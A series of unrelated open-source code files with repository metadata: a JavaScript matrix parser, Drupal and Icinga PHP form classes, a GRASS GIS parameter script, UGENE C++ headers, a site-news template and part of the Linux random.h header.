vector: (str) => (util.test.trivialTester('^' + util.regex.vector())(str)),
matrix: (str) => (util.test.trivialTester('^' + util.regex.matrix())(str))
},
extract: {
trivialExtractor: (regex) => (
(str) => {
const res = RegExp(regex).exec(str)
return {res: res[0], size:res[0].length}
}
),
openParens: (str) => (util.extract.trivialExtractor('^'+util.regex.openParens())(str)),
closeParens: (str) => (util.extract.trivialExtractor('^'+util.regex.closeParens())(str)),
divider: (str) => (util.extract.trivialExtractor('^'+util.regex.divider())(str)),
slash: (str) => (util.extract.trivialExtractor('^'+util.regex.slash())(str)),
digit: (str) => {
const res = RegExp('^'+util.regex.digit()).exec(str)
return {res: parseInt(res[0], DECIMAL), size: res[0].length}
},
number: (str) => {
const res = RegExp('^'+util.regex.number()).exec(str)
return {res: parseInt(res[0], DECIMAL), size: res[0].length}
},
fraction: (str, index=0, res=EMPTY_LIST) => {
const isNumber = util.parse.number(str.slice(index))
const isSlash = util.parse.slash(str.slice(index))
if(isNumber) {
return util.extract.fraction(str, index+isNumber.size, res.push(isNumber.res))
} else if(isSlash) {
return util.extract.fraction(str, index+1, res)
} else {
return {res: util.listToFraction(res), size: index}
}
},
vector: (str, index=0, res=EMPTY_LIST) => {
const isFraction = util.parse.fraction(str.slice(index))
const isOpenParens = util.parse.openParens(str.slice(index))
const isDivider = util.parse.divider(str.slice(index))
if(isFraction) {
return util.extract.vector(str, index+isFraction.size, res.push(isFraction.res))
} else if(isOpenParens || isDivider) {
return util.extract.vector(str, index+1, res)
} else {
return {res: res, size: index+1}
}
},
matrix: (str, index=0, res=EMPTY_LIST) => {
const isVector = util.parse.vector(str.slice(index))
const isOpenParens = util.parse.openParens(str.slice(index))
const isDivider = util.parse.divider(str.slice(index))
if(isVector) {
return util.extract.matrix(str, index+isVector.size, res.push(isVector.res))
} else if(isOpenParens || isDivider) {
return util.extract.matrix(str, index+1, res)
} else {
return {res: res, size: index+1}
}
}
},
parse: {
trivialParser: (tester, extractor) => (
(str) => {
if(!tester(str)) {
return undefined
} else {
return extractor(str)
}
}
),
openParens: (str) => (
util.parse.trivialParser(util.test.openParens, util.extract.openParens)(str)
),
closeParens: (str) => (
util.parse.trivialParser(util.test.closeParens, util.extract.closeParens)(str)
),
divider: (str) => (
util.parse.trivialParser(util.test.divider, util.extract.divider)(str)
),
slash: (str) => (
util.parse.trivialParser(util.test.slash, util.extract.slash)(str)
),
digit: (str) => (
util.parse.trivialParser(util.test.digit, util.extract.digit)(str)
),
number: (str) => (
util.parse.trivialParser(util.test.number, util.extract.number)(str)
),
fraction: (str) => (
util.parse.trivialParser(util.test.fraction, util.extract.fraction)(str)
),
vector: (str) => (
util.parse.trivialParser(util.test.vector, util.extract.vector)(str)
),
matrix: () => (
util.parse.trivialParser(util.test.matrix, util.extract.matrix)(str)
)
},
regex: {
digit: () => ('(\\d)'),
number: () => ('((-|)(\\d)+)'),
fraction: () => {
const number = util.regex.number()
return `((${number}\\/${number})|${number})`
},
openParens: () => ('(\\(|\\{|\\[)'),
closeParens: () => ('(\\)|\\}|\\])'),
divider: () => ('(\\,)'),
slash: () => ('(\\/)'),
vector: () => {
const openParens = util.regex.openParens()
const fraction = util.regex.fraction()
const divider = util.regex.divider()
const closeParens = util.regex.closeParens()
return `(${openParens}${fraction}(${divider}${fraction})*${closeParens})`
},
matrix: () => {
const openParens = util.regex.openParens()
const vector = util.regex.vector()
const divider = util.regex.divider()
const closeParens = util.regex.closeParens()
return `(${openParens}${vector}(${divider}${vector})*${closeParens})`
}
}
}
module.exports = util
|
xxcandiez/constant-algebra
|
src/util.js
|
JavaScript
|
gpl-2.0
| 6,293
|
<?php
namespace Drupal\search_api\Form;
use Drupal\Component\Utility\Html;
use Drupal\Core\Entity\EntityForm;
use Drupal\Core\Entity\EntityTypeManagerInterface;
use Drupal\Core\Form\FormStateInterface;
use Drupal\Core\Plugin\PluginFormInterface;
use Drupal\Core\Url;
use Drupal\search_api\Backend\BackendPluginManager;
use Drupal\search_api\SearchApiException;
use Drupal\search_api\ServerInterface;
use Symfony\Component\DependencyInjection\ContainerInterface;
/**
* Provides a form for creating and editing search servers.
*/
class ServerForm extends EntityForm {
/**
* The server storage controller.
*
* @var \Drupal\Core\Entity\EntityStorageInterface
*/
protected $storage;
/**
* The backend plugin manager.
*
* @var \Drupal\search_api\Backend\BackendPluginManager
*/
protected $backendPluginManager;
/**
* Constructs a ServerForm object.
*
* @param \Drupal\Core\Entity\EntityTypeManagerInterface $entity_type_manager
* The entity type manager.
* @param \Drupal\search_api\Backend\BackendPluginManager $backend_plugin_manager
* The backend plugin manager.
*/
public function __construct(EntityTypeManagerInterface $entity_type_manager, BackendPluginManager $backend_plugin_manager) {
$this->storage = $entity_type_manager->getStorage('search_api_server');
$this->backendPluginManager = $backend_plugin_manager;
}
/**
* {@inheritdoc}
*/
public static function create(ContainerInterface $container) {
/** @var \Drupal\Core\Entity\EntityTypeManagerInterface $entity_type_manager */
$entity_type_manager = $container->get('entity_type.manager');
/** @var \Drupal\search_api\Backend\BackendPluginManager $backend_plugin_manager */
$backend_plugin_manager = $container->get('plugin.manager.search_api.backend');
return new static($entity_type_manager, $backend_plugin_manager);
}
/**
* Retrieves the server storage controller.
*
* @return \Drupal\Core\Entity\EntityStorageInterface
* The server storage controller.
*/
protected function getStorage() {
return $this->storage ?: \Drupal::service('entity_type.manager')->getStorage('search_api_server');
}
/**
* Retrieves the backend plugin manager.
*
* @return \Drupal\search_api\Backend\BackendPluginManager
* The backend plugin manager.
*/
protected function getBackendPluginManager() {
return $this->backendPluginManager ?: \Drupal::service('plugin.manager.search_api.backend');
}
/**
* {@inheritdoc}
*/
public function form(array $form, FormStateInterface $form_state) {
// If the form is being rebuilt, rebuild the entity with the current form
// values.
if ($form_state->isRebuilding()) {
$this->entity = $this->buildEntity($form, $form_state);
}
$form = parent::form($form, $form_state);
/** @var \Drupal\search_api\ServerInterface $server */
$server = $this->getEntity();
// Set the page title according to whether we are creating or editing the
// server.
if ($server->isNew()) {
$form['#title'] = $this->t('Add search server');
}
else {
$form['#title'] = $this->t('Edit search server %label', array('%label' => $server->label()));
}
$this->buildEntityForm($form, $form_state, $server);
// Skip adding the backend config form if we cleared the server form due to
// an error.
if ($form) {
$this->buildBackendConfigForm($form, $form_state, $server);
}
return $form;
}
/**
* Builds the form for the basic server properties.
*
* @param \Drupal\search_api\ServerInterface $server
* The server that is being created or edited.
*/
public function buildEntityForm(array &$form, FormStateInterface $form_state, ServerInterface $server) {
$form['#attached']['library'][] = 'search_api/drupal.search_api.admin_css';
$form['name'] = array(
'#type' => 'textfield',
'#title' => $this->t('Server name'),
'#description' => $this->t('Enter the displayed name for the server.'),
'#default_value' => $server->label(),
'#required' => TRUE,
);
$form['id'] = array(
'#type' => 'machine_name',
'#default_value' => $server->isNew() ? NULL : $server->id(),
'#maxlength' => 50,
'#required' => TRUE,
'#machine_name' => array(
'exists' => array($this->getStorage(), 'load'),
'source' => array('name'),
),
'#disabled' => !$server->isNew(),
);
$form['status'] = array(
'#type' => 'checkbox',
'#title' => $this->t('Enabled'),
'#description' => $this->t('Only enabled servers can index items or execute searches.'),
'#default_value' => $server->status(),
);
$form['description'] = array(
'#type' => 'textarea',
'#title' => $this->t('Description'),
'#description' => $this->t('Enter a description for the server.'),
'#default_value' => $server->getDescription(),
);
$backend_options = $this->getBackendOptions();
if ($backend_options) {
if (count($backend_options) == 1) {
$server->set('backend', key($backend_options));
}
$form['backend'] = array(
'#type' => 'radios',
'#title' => $this->t('Backend'),
'#description' => $this->t('Choose a backend to use for this server.'),
'#options' => $backend_options,
'#default_value' => $server->getBackendId(),
'#required' => TRUE,
'#disabled' => !$server->isNew(),
'#ajax' => array(
'callback' => array(get_class($this), 'buildAjaxBackendConfigForm'),
'wrapper' => 'search-api-backend-config-form',
'method' => 'replace',
'effect' => 'fade',
),
);
}
else {
drupal_set_message($this->t('There are no backend plugins available for the Search API. Please install a <a href=":url">module that provides a backend plugin</a> to proceed.', array(':url' => Url::fromUri('https://www.drupal.org/node/1254698')->toString())), 'error');
$form = array();
}
}
/**
* Returns all available backend plugins, as an options list.
*
* @return string[]
* An associative array mapping backend plugin IDs to their (HTML-escaped)
* labels.
*/
protected function getBackendOptions() {
$options = array();
foreach ($this->getBackendPluginManager()->getDefinitions() as $plugin_id => $plugin_definition) {
$options[$plugin_id] = Html::escape($plugin_definition['label']);
}
return $options;
}
/**
* Builds the backend-specific configuration form.
*
* @param \Drupal\search_api\ServerInterface $server
* The server that is being created or edited.
*/
public function buildBackendConfigForm(array &$form, FormStateInterface $form_state, ServerInterface $server) {
$form['backend_config'] = array();
if ($server->hasValidBackend()) {
$backend = $server->getBackend();
$form_state->set('backend', $backend->getPluginId());
if ($backend instanceof PluginFormInterface) {
if ($form_state->isRebuilding()) {
drupal_set_message($this->t('Please configure the selected backend.'), 'warning');
}
// Attach the backend plugin configuration form.
$backend_form = isset($form['backend_config']) ? $form['backend_config'] : array();
$form['backend_config'] = $backend->buildConfigurationForm($backend_form, $form_state);
// Modify the backend plugin configuration container element.
$form['backend_config']['#type'] = 'details';
$form['backend_config']['#title'] = $this->t('Configure %plugin backend', array('%plugin' => $backend->label()));
$form['backend_config']['#description'] = $backend->getDescription();
$form['backend_config']['#open'] = TRUE;
}
}
// Only notify the user of a missing backend plugin if we're editing an
// existing server.
elseif (!$server->isNew()) {
drupal_set_message($this->t('The backend plugin is missing or invalid.'), 'error');
return;
}
$form['backend_config'] += array('#type' => 'container');
$form['backend_config']['#attributes'] = array(
'id' => 'search-api-backend-config-form',
);
$form['backend_config']['#tree'] = TRUE;
}
/**
* Handles switching the selected backend plugin.
*/
public static function buildAjaxBackendConfigForm(array $form, FormStateInterface $form_state) {
// The work is already done in form(), where we rebuild the entity according
// to the current form values and then create the backend configuration form
// based on that. So we just need to return the relevant part of the form
// here.
return $form['backend_config'];
}
/**
* {@inheritdoc}
*/
public function validateForm(array &$form, FormStateInterface $form_state) {
parent::validateForm($form, $form_state);
/** @var \Drupal\search_api\ServerInterface $server */
$server = $this->getEntity();
// Check if the backend plugin changed.
$backend_id = $server->getBackendId();
if ($backend_id != $form_state->get('backend')) {
// This can only happen during initial server creation, since we don't
// allow switching the backend afterwards. The user has selected a
// different backend, so any values entered for the other backend should
// be discarded.
$input = &$form_state->getUserInput();
$input['backend_config'] = array();
$new_backend = $this->backendPluginManager->createInstance($form_state->getValues()['backend']);
if ($new_backend instanceof PluginFormInterface) {
$form_state->setRebuild();
}
}
// Check before loading the backend plugin so we don't throw an exception.
elseif ($server->hasValidBackend()) {
$backend = $server->getBackend();
if ($backend instanceof PluginFormInterface) {
$backend_form_state = new SubFormState($form_state, array('backend_config'));
$backend->validateConfigurationForm($form['backend_config'], $backend_form_state);
}
}
}
/**
* {@inheritdoc}
*/
public function submitForm(array &$form, FormStateInterface $form_state) {
parent::submitForm($form, $form_state);
/** @var \Drupal\search_api\ServerInterface $server */
$server = $this->getEntity();
// Check before loading the backend plugin so we don't throw an exception.
if ($server->hasValidBackend()) {
$backend = $server->getBackend();
if ($backend instanceof PluginFormInterface) {
$backend_form_state = new SubFormState($form_state, array('backend_config'));
$backend->submitConfigurationForm($form['backend_config'], $backend_form_state);
}
}
return $server;
}
/**
* {@inheritdoc}
*/
public function save(array $form, FormStateInterface $form_state) {
// Only save the server if the form doesn't need to be rebuilt.
if (!$form_state->isRebuilding()) {
try {
$server = $this->getEntity();
$server->save();
drupal_set_message($this->t('The server was successfully saved.'));
$form_state->setRedirect('entity.search_api_server.canonical', array('search_api_server' => $server->id()));
}
catch (SearchApiException $e) {
$form_state->setRebuild();
watchdog_exception('search_api', $e);
drupal_set_message($this->t('The server could not be saved.'), 'error');
}
}
}
/**
* {@inheritdoc}
*/
public function delete(array $form, FormStateInterface $form_state) {
$form_state->setRedirect('search_api.server_delete', array('search_api_server' => $this->getEntity()->id()));
}
}
|
Rem00756/drupalMtTheme
|
modules/search_api/src/Form/ServerForm.php
|
PHP
|
gpl-2.0
| 11,710
|
<%inherit file="djrq.templates.admin.master"/>
<%block name="mainpage">
<div class="row">
<div class="col-xs-12">
<h4 align="center">Site News</h4>
</div>
</div>
<div class="row">
<div class="col-xs-2">
<b>2015-08-07</b>
</div>
<div class="col-xs-10">
Welcome to the new djrq request site! Check here for changes to the site. The site is currently
under development, so expect frequent changes.
</div>
</div>
<div class="row">
<div class="col-xs-2"></div>
<div class="col-xs-10">
Got the basic admin pages working with authentication.
</div>
</div>
<div class="row">
<div class="col-xs-2"></div>
<div class="col-xs-10">
Got this page working.
</div>
</div>
</%block>
|
bmillham/djrq
|
DJRQ/djrq/templates/admin/sitenews.html
|
HTML
|
gpl-2.0
| 690
|
#!/usr/bin/env python
############################################################################
#
# MODULE: ssr_params.py
# AUTHOR: Collin Bode, UC Berkeley
#
# PURPOSE: Consolidate parameters for all SSR scripts and to provide some
# common functions.
#
# DEPENDENCIES: requires function set_server_environment(server_name).
# So import grass_setserver is needed.
#
# COPYRIGHT: (c) 2012 Collin Bode
# (c) 2006 Hamish Bowman, and the GRASS Development Team
# (c) 2008 Glynn Clements, and the GRASS Development Team
# This program is free software under the GNU General Public
# License (>=v2). Read the file COPYING that comes with GRASS
# for details.
#
#############################################################################
#----------------------------------------------------------------------------
# Run Parts? 0 = do not run, 1 = run, but do not overwrite maps, 2 = run, overwrite maps
lidar_run = 2 # Imports point cloud as canopy and point density rasters
lpi_run = 0 # Creates Light Penetration Index (LPI) from point cloud
preprocessing_run = 0 # Creates derivative GIS products slope, aspect, tree height, albedo
rsun_run = 0 # Runs GRASS light model, r.sun
algore_run = 0 # Algorithm for combining all the parts into the SRR
#----------------------------------------------------------------------------
# GENERAL PARAMETERS
# GRASS GIS requires 4 inputs to start:
gisbase = '/usr/lib64/grass-6.4.4' # GIS BASE (GISBASE): path to GRASS binaries.
gisdbase = '/data/grass_workspace' # DATABASE (GISDBASE): directory containing all GRASS layers.
location = 'angelo2014' # LOCATION: defined by coordinate system & bounding box.
mapset = 'PERMANENT' # MAPSET: each GRASS session runs under a unique MAPSET. PERMANENT is default.
# Resolution and Bounding box
C = '2' # cell size in meters 2
bregion = 'default' # boundary used in g.region: b5k,b8k,b10, d = default. utilities needs to be changed for different regions.
# INPUT RASTER NAMES
demsource = 'angelo1m2014dem'
cansource = '' # If you do not have a canopy raster, leave this empty '' and ssr_lidar.py will create it automatically.
#----------------------------------------------------------------------------
# MAP NAMES
P = bregion + C + 'm' # Prefix to raster maps and Mapsets. This allows subsets of the total area to be run.
dem = P + 'dem' # source map: bare-earth dem
can = P + 'can' # source map: canopy dem
sloped = P + 'demslope' # slope, bare-earth
slopec = P + 'canslope' # slope, canopy
aspectd = P + 'demaspect' # aspect, bare-earth
aspectc = P + 'canaspect' # aspect, canopy
vegheight = P + 'vegheight' # vegetation height
albedo = P + 'albedo' # albedo by vegtype
demhor = P + 'demhor' # horizon, bare-earth
canhor = P + 'demhor' # horizon, canopy
#----------------------------------------------------------------------------
# SSR1: LIDAR IMPORT PARAMETERS
# LiDAR downloaded from http://opentopography.org.
# National Center for Airborne Laser Mapping (NCALM) distributes laser hits as 2 datasets: total and ground filtered.
# Version 1.0 only processes ASCII files with ground filtered exported to a separate directory. Future versions will
# use .las files in a single directory.
year = 'y14' # Year the LiDAR was flown 2004 'y04', 2004 modified to match y09 'ym4',2009 'y09'
pdensitypref = 'pointdensity_c'+str(C)+year # prefix to the point density rasters
inSuffix='xyz' # filename suffix to filter for
overlap = float(0) # tile overlap in meters 10.00 m (y04,y09), 0.00 m (y14)
sep = ',' # separator in lidar files ' ' or ','
LidarPoints = [ 'filtered' , 'unfiltered' ] # subdirectories under inPath. y04 = [ 'ground' , 'all' ]
inPath='/data/source/LiDAR/2014_EelBathymetry_LiDAR/Angelo/Tiles_ASCII_xyz/'
#inPath='/data/source/LiDAR/2009_SFEel_LiDAR/ascii/'
#inPath='/data/source/LiDAR/2004_SFEel_LiDAR/TerraScan_EEL/laser_export/'
#----------------------------------------------------------------------------
# SSR2: LPI PARAMETERS
#Radius = 8 # Previous radius was 8, but that is actually 8 cells per side * 2meters per cell = 32 meters, and actually I used 31x31 cell square.
boxsize = '17' # Size is cell size of box for r.neighbors. This is different than the actual box (9 cells x 2 meter cells = 18 meters)
lpipref = 'lpi_c'+C+year+'s'+boxsize # add the month to the end, e.g. lpi_c2y09s17m10
#----------------------------------------------------------------------------
# SSR3: R.HORIZON PARAMETERS
maxdistance = '10000' # maxdistance = 10000 meters (longer than the diagnal of the map)
hstep = '1' # horizonstep = 1 degree (causing 360 maps to be created)
dist = '0.5' # normal range (0.5 - 1.5) previous runs used 0.3 ?artifacting?
# dist=1.0 or greater uses simplified calculation that causes artifacts
#----------------------------------------------------------------------------
# SSR4: R.SUN Solar Model Parameters
# r.sun is designed to be run for 1 day, 24 hours. script runs for 1 year, every week.
linke_array = 'helios' # various options of turbidity values, "helios" is default for Angelo.
tl = linke_array
start_day = 5 # First Julian Day calculated
week_step = 7 # run r.sun once every week
timestep = '0.1' # 0.1 decimal hour = 6 minute timestep, default 0.5(30min), last run 0.5
calib = 'hd' # r.sun calibration code: 'hd' = 0.50 * Diffuse, 1.0 * Direct, reflection is ignored.
# calibration needs to be moved to algore script
#----------------------------------------------------------------------------
# SSR5: ALGORE PARAMETERS
maxheight = '2' # Vegetation height after which canopy is set to null
#halfdiff = True # Reduces the r.sun diffuse output by half. suffix 'half' on diffuse and global maps
keeptemp = True # Testing only. Should be false for production.
lpivsjune = False # Analysis only. Uses June LPI only
sky = 'cs' # cs 'clear sky' or rs 'real sky' which includes cloudiness index.
algore = 'gl' # Options: 'pl' = Power Law, 'nl' = Natural Log, 'd' for old default value of 1,
# 'cl' = Cameau Linear, 'cn' = Cameau linear Normalized, nLPI = 1.428 * LPI, Diffuse = 0.94 * nLPI * HalfDiff
# 'gn' = Gendron linear normalized, nLPI = 1.428 * LPI, Diffuse = 0.01719 + 1.024 * nLPI * HalfDiff
# 'gl' = Gendron linear. no normalization. It overestimates field radiation. Diffuse = 0.01719 + 1.024 * LPI
# Calibration of r.sun values is now handled seperately and should not be included here.
#----------------------------------------------------------------------------
# MAPSETS
mhorizon = bregion+'_horizon' # horizon mapset
msun = 'sun_'+bregion+'_'+calib # r.sun mapset using calibration
mlpi = 'lpi' # lpi mapset
mssr = 'ssr_'+bregion+'_'+algore # ssr output mapset
|
cbode/ssr
|
ssr_params.py
|
Python
|
gpl-2.0
| 7,659
|
<?php
/* Icinga Web 2 | (c) 2014 Icinga Development Team | GPLv2+ */
namespace Icinga\Forms;
use Exception;
use DateTimeZone;
use Icinga\Application\Config;
use Icinga\Application\Icinga;
use Icinga\Application\Logger;
use Icinga\Authentication\Auth;
use Icinga\User\Preferences;
use Icinga\User\Preferences\PreferencesStore;
use Icinga\Util\TimezoneDetect;
use Icinga\Util\Translator;
use Icinga\Web\Cookie;
use Icinga\Web\Form;
use Icinga\Web\Notification;
use Icinga\Web\Session;
use Icinga\Web\StyleSheet;
/**
* Form class to adjust user preferences
*/
class PreferenceForm extends Form
{
/**
* The preferences to work with
*
* @var Preferences
*/
protected $preferences;
/**
* The preference store to use
*
* @var PreferencesStore
*/
protected $store;
/**
* Initialize this form
*/
public function init()
{
$this->setName('form_config_preferences');
}
/**
* Set preferences to work with
*
* @param Preferences $preferences The preferences to work with
*
* @return $this
*/
public function setPreferences(Preferences $preferences)
{
$this->preferences = $preferences;
return $this;
}
/**
* Set the preference store to use
*
* @param PreferencesStore $store The preference store to use
*
* @return $this
*/
public function setStore(PreferencesStore $store)
{
$this->store = $store;
return $this;
}
/**
* Persist preferences
*
* @return $this
*/
public function save()
{
$this->store->save($this->preferences);
return $this;
}
/**
* Adjust preferences and persist them
*
* @see Form::onSuccess()
*/
public function onSuccess()
{
$this->preferences = new Preferences($this->store ? $this->store->load() : array());
$oldTheme = $this->preferences->getValue('icingaweb', 'theme');
$webPreferences = $this->preferences->get('icingaweb', array());
foreach ($this->getValues() as $key => $value) {
if ($value === ''
|| $value === 'autodetect'
|| ($key === 'theme' && $value === Config::app()->get('themes', 'default', StyleSheet::DEFAULT_THEME))
) {
if (isset($webPreferences[$key])) {
unset($webPreferences[$key]);
}
} else {
$webPreferences[$key] = $value;
}
}
$this->preferences->icingaweb = $webPreferences;
Session::getSession()->user->setPreferences($this->preferences);
if (($theme = $this->getElement('theme')) !== null
&& ($theme = $theme->getValue()) !== $oldTheme
) {
$this->getResponse()->setReloadCss(true);
}
try {
if ($this->store && $this->getElement('btn_submit_preferences')->isChecked()) {
$this->save();
Notification::success($this->translate('Preferences successfully saved'));
} else {
Notification::success($this->translate('Preferences successfully saved for the current session'));
}
} catch (Exception $e) {
Logger::error($e);
Notification::error($e->getMessage());
}
}
/**
* Populate preferences
*
* @see Form::onRequest()
*/
public function onRequest()
{
$auth = Auth::getInstance();
$values = $auth->getUser()->getPreferences()->get('icingaweb');
if (! isset($values['language'])) {
$values['language'] = 'autodetect';
}
if (! isset($values['timezone'])) {
$values['timezone'] = 'autodetect';
}
$this->populate($values);
}
/**
* @see Form::createElements()
*/
public function createElements(array $formData)
{
if (setlocale(LC_ALL, 0) === 'C') {
$this->warning(
$this->translate(
'Your language setting is not applied because your platform is missing the corresponding locale.'
. ' Make sure to install the correct language pack and restart your web server afterwards.'
),
false
);
}
if (! (bool) Config::app()->get('themes', 'disabled', false)) {
$themes = Icinga::app()->getThemes();
if (count($themes) > 1) {
$defaultTheme = Config::app()->get('themes', 'default', StyleSheet::DEFAULT_THEME);
if (isset($themes[$defaultTheme])) {
$themes[$defaultTheme] .= ' (' . $this->translate('default') . ')';
}
$this->addElement(
'select',
'theme',
array(
'label' => $this->translate('Theme', 'Form element label'),
'multiOptions' => $themes,
'value' => $this->preferences->getValue(
'icingaweb',
'theme',
$defaultTheme
)
)
);
}
}
$languages = array();
$languages['autodetect'] = sprintf($this->translate('Browser (%s)', 'preferences.form'), $this->getLocale());
foreach (Translator::getAvailableLocaleCodes() as $language) {
$languages[$language] = $language;
}
$tzList = array();
$tzList['autodetect'] = sprintf(
$this->translate('Browser (%s)', 'preferences.form'),
$this->getDefaultTimezone()
);
foreach (DateTimeZone::listIdentifiers() as $tz) {
$tzList[$tz] = $tz;
}
$this->addElement(
'select',
'language',
array(
'required' => true,
'label' => $this->translate('Your Current Language'),
'description' => $this->translate('Use the following language to display texts and messages'),
'multiOptions' => $languages,
'value' => substr(setlocale(LC_ALL, 0), 0, 5)
)
);
$this->addElement(
'select',
'timezone',
array(
'required' => true,
'label' => $this->translate('Your Current Timezone'),
'description' => $this->translate('Use the following timezone for dates and times'),
'multiOptions' => $tzList,
'value' => $this->getDefaultTimezone()
)
);
if (Auth::getInstance()->hasPermission('application/stacktraces')) {
$this->addElement(
'checkbox',
'show_stacktraces',
array(
'required' => true,
'value' => $this->getDefaultShowStacktraces(),
'label' => $this->translate('Show Stacktraces'),
'description' => $this->translate('Set whether to show an exception\'s stacktrace.')
)
);
}
$this->addElement(
'checkbox',
'show_benchmark',
array(
'required' => true,
'label' => $this->translate('Use benchmark')
)
);
$this->addElement(
'checkbox',
'auto_refresh',
array(
'required' => false,
'label' => $this->translate('Enable auto refresh'),
'description' => $this->translate(
'This option allows you to enable or to disable the global page content auto refresh'
),
'value' => 1
)
);
$this->addElement(
'number',
'default_page_size',
array(
'label' => $this->translate('Default page size'),
'description' => $this->translate('Default number of items per page for list views'),
'step' => 1
)
);
if ($this->store) {
$this->addElement(
'submit',
'btn_submit_preferences',
array(
'ignore' => true,
'label' => $this->translate('Save to the Preferences'),
'decorators' => array('ViewHelper')
)
);
}
$this->addElement(
'submit',
'btn_submit_session',
array(
'ignore' => true,
'label' => $this->translate('Save for the current Session'),
'decorators' => array('ViewHelper')
)
);
$this->setAttrib('data-progress-element', 'preferences-progress');
$this->addElement(
'note',
'preferences-progress',
array(
'decorators' => array(
'ViewHelper',
array('Spinner', array('id' => 'preferences-progress'))
)
)
);
$this->addDisplayGroup(
array('btn_submit_preferences', 'btn_submit_session', 'preferences-progress'),
'submit_buttons',
array(
'decorators' => array(
'FormElements',
array('HtmlTag', array('tag' => 'div', 'class' => 'control-group'))
)
)
);
}
/**
* Return the current default timezone
*
* @return string
*/
protected function getDefaultTimezone()
{
$detect = new TimezoneDetect();
if ($detect->success()) {
return $detect->getTimezoneName();
} else {
return @date_default_timezone_get();
}
}
/**
* Return the preferred locale based on the given HTTP header and the available translations
*
* @return string
*/
protected function getLocale()
{
$locale = Translator::getPreferredLocaleCode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
return $locale;
}
/**
* Return the default global setting for show_stacktraces
*
* @return bool
*/
protected function getDefaultShowStacktraces()
{
return Config::app()->get('global', 'show_stacktraces', true);
}
}
|
0svald/icingaweb2
|
application/forms/PreferenceForm.php
|
PHP
|
gpl-2.0
| 10,758
|
/**
* UGENE - Integrated Bioinformatics Tools.
* Copyright (C) 2008-2022 UniPro <ugene@unipro.ru>
* http://ugene.net
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*/
#ifndef _U2_MYSQL_ASSEMBLY_ADAPTER_H_
#define _U2_MYSQL_ASSEMBLY_ADAPTER_H_
#include <U2Core/U2Assembly.h>
#include "MysqlHelpers.h"
#include "util/AssemblyAdapter.h"
#include "util/AssemblyPackAlgorithm.h"
namespace U2 {
class U2OpStatus;
class U2AssemblyReadsImportInfo;
class MysqlAssemblyAdapter : public AssemblyAdapter {
public:
MysqlAssemblyAdapter(const U2DataId& assemblyId, const AssemblyCompressor* compressor, MysqlDbRef* ref);
protected:
MysqlDbRef* db;
};
class MysqlAssemblyNameFilter : public MysqlRSFilter<U2AssemblyRead> {
public:
MysqlAssemblyNameFilter(const QByteArray& expectedName);
virtual bool filter(const U2AssemblyRead& r);
protected:
QByteArray name;
};
class MysqlSimpleAssemblyReadLoader : public MysqlRSLoader<U2AssemblyRead> {
public:
U2AssemblyRead load(U2SqlQuery* q);
};
class MysqlSimpleAssemblyReadPackedDataLoader : public MysqlRSLoader<PackAlgorithmData> {
public:
virtual PackAlgorithmData load(U2SqlQuery* q);
};
} // namespace U2
#endif // _U2_MYSQL_ASSEMBLY_ADAPTER_H_
|
ugeneunipro/ugene
|
src/corelibs/U2Formats/src/mysql_dbi/util/MysqlAssemblyAdapter.h
|
C
|
gpl-2.0
| 1,903
|
/**
* UGENE - Integrated Bioinformatics Tools.
* Copyright (C) 2008-2022 UniPro <ugene@unipro.ru>
* http://ugene.net
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*/
#ifndef _U2_HMMER_BUILD_WORKER_H_
#define _U2_HMMER_BUILD_WORKER_H_
#include <U2Lang/LocalDomain.h>
#include <U2Lang/WorkflowUtils.h>
#include "HmmerBuildSettings.h"
namespace U2 {
namespace LocalWorkflow {
class HmmerBuildPrompter : public PrompterBase<HmmerBuildPrompter> {
Q_OBJECT
public:
HmmerBuildPrompter(Actor* p = 0);
protected:
QString composeRichDoc() override;
};
class HmmerBuildWorker : public BaseWorker {
Q_OBJECT
public:
HmmerBuildWorker(Actor* a);
void init() override;
bool isReady() const override;
Task* tick() override;
void cleanup() override;
private slots:
void sl_taskFinished(Task* task);
protected:
IntegralBus* input;
IntegralBus* output;
HmmerBuildSettings cfg;
};
class HmmerBuildWorkerFactory : public DomainFactory {
public:
static const QString ACTOR;
static void init();
static void cleanup();
HmmerBuildWorkerFactory();
Worker* createWorker(Actor* a) override;
};
} // namespace LocalWorkflow
} // namespace U2
#endif // _U2_HMMER_BUILD_WORKER_H_
|
ugeneunipro/ugene
|
src/plugins/external_tool_support/src/hmmer/HmmerBuildWorker.h
|
C
|
gpl-2.0
| 1,920
|
TELNET LOGGING
==============
Create a logger on a TCP session. YOu have to connect to it in order to watch the logs.
|
hbuyse/c_programming_class
|
logging/telnet/README.md
|
Markdown
|
gpl-2.0
| 118
|
/*
* include/linux/random.h
*
* Include file for the random number generator.
*/
#ifndef _LINUX_RANDOM_H
#define _LINUX_RANDOM_H
#include <linux/types.h>
#include <linux/ioctl.h>
#include <linux/irqnr.h>
/* ioctl()'s for the random number generator */
/* Get the entropy count. */
#define RNDGETENTCNT _IOR( 'R', 0x00, int )
/* Add to (or subtract from) the entropy count. (Superuser only.) */
#define RNDADDTOENTCNT _IOW( 'R', 0x01, int )
/* Get the contents of the entropy pool. (Superuser only.) */
#define RNDGETPOOL _IOR( 'R', 0x02, int [2] )
/*
* Write bytes into the entropy pool and add to the entropy count.
* (Superuser only.)
*/
#define RNDADDENTROPY _IOW( 'R', 0x03, int [2] )
/* Clear entropy count to 0. (Superuser only.) */
#define RNDZAPENTCNT _IO( 'R', 0x04 )
/* Clear the entropy pool and associated counters. (Superuser only.) */
#define RNDCLEARPOOL _IO( 'R', 0x06 )
struct rand_pool_info {
int entropy_count;
int buf_size;
__u32 buf[0];
};
